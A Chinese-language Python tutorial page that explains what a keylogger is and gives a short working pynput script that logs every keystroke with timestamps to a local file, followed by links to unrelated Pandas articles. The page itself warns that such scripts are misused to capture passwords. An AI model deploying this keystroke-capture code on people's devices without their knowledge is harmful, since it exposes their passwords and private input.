在 Python 中创建键盘记录器
在Python中,我们可以读取用户输入并检测键盘和鼠标等硬件设备来开发交互式应用程序。 特别是,pynput 模块允许我们使用此类设备并使用函数检测按键和光标移动。
本篇文章将介绍如何在 Python 中创建键盘记录器。
在 Python 中创建键盘记录器
首先,让我们了解什么是键盘记录器。 键盘记录器是一种应用程序,可以读取用户在键盘上按下的按键并将其存储在日志文件中。
此类应用程序通常用于监控设备以进行故障排除和检测技术问题。 如今,此类脚本被用于恶意目的,例如监视设备以查看密码和其他访问代码,因此使用这些脚本时应小心。
我们现在将使用logging和pynput模块在Python中创建一个简单的键盘记录器。
我们将使用日志记录模块创建一个日志文件来跟踪所有按下的按键。 我们将使用 basicConfig()
构造函数创建一个文件,并在此构造函数中指定文件名和格式。
pynput 模块有一个 Listener 对象,该对象在按下按键时收集函数。 我们将定义一个名为 press 的函数,Listener 对象将收集该函数。
press()
函数将读取按下的按键并使用 logging.info()
函数将它们记录到文件中。 请注意,该键需要首先转换为字符串。
代码:
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename = ("logfile.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def press(key):
logging.info(str(key))
with Listener(on_press=press) as listener:
listener.join()
输出:
如上面的示例所示,当给定的脚本运行时,用户按下的键会记录在日志文件中。
请注意
,日志文件中的每个条目都基于basicConfig()
函数中指定的格式。
相关文章
Pandas DataFrame DataFrame.shift() 函数
发布时间:2024/04/24 浏览次数:133 分类:Python
-
DataFrame.shift() 函数是将 DataFrame 的索引按指定的周期数进行移位。
Python pandas.pivot_table() 函数
发布时间:2024/04/24 浏览次数:82 分类:Python
-
Python Pandas pivot_table()函数通过对数据进行汇总,避免了数据的重复。
Pandas read_csv()函数
发布时间:2024/04/24 浏览次数:254 分类:Python
-
Pandas read_csv()函数将指定的逗号分隔值(csv)文件读取到 DataFrame 中。
Pandas 多列合并
发布时间:2024/04/24 浏览次数:628 分类:Python
-
本教程介绍了如何在 Pandas 中使用 DataFrame.merge()方法合并两个 DataFrames。
Pandas loc vs iloc
发布时间:2024/04/24 浏览次数:837 分类:Python
-
本教程介绍了如何使用 Python 中的 loc 和 iloc 从 Pandas DataFrame 中过滤数据。
在 Python 中将 Pandas 系列的日期时间转换为字符串
发布时间:2024/04/24 浏览次数:894 分类:Python
-
了解如何在 Python 中将 Pandas 系列日期时间转换为字符串